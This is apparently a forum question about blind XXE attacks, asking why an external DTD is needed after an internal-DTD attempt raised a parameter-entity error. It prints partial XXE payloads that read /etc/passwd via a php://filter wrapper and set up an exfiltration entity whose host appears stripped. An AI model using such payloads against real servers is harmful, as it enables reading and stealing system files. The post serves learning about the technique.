A proper blind XXE payload is:-

<?xml version="1.0" ?>
<!ENTITY % sp SYSTEM "">

File stored on
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM ';'>">

Now I didn't understand why do we need an External DTD. I have tried to use this below payload as internal dtd.

<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % dtdcall SYSTEM 'file:///etc/passwd' > <!ENTITY % test "<!ENTITY server SYSTEM ';'>">%test; ]><r>&server;</r>

BUT I got an error:- PEReferences forbidden in internal subset in blah blah.

So anyone can explain this?


Finally, after doing a hard search I come to a point Parameter Entities are not allowed into Internal DTD subset i.e.

<!DOCTYPE r [ Not allow to set parameteried entity.]

If I am wrong then clarify me. I read that on this XML doc.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.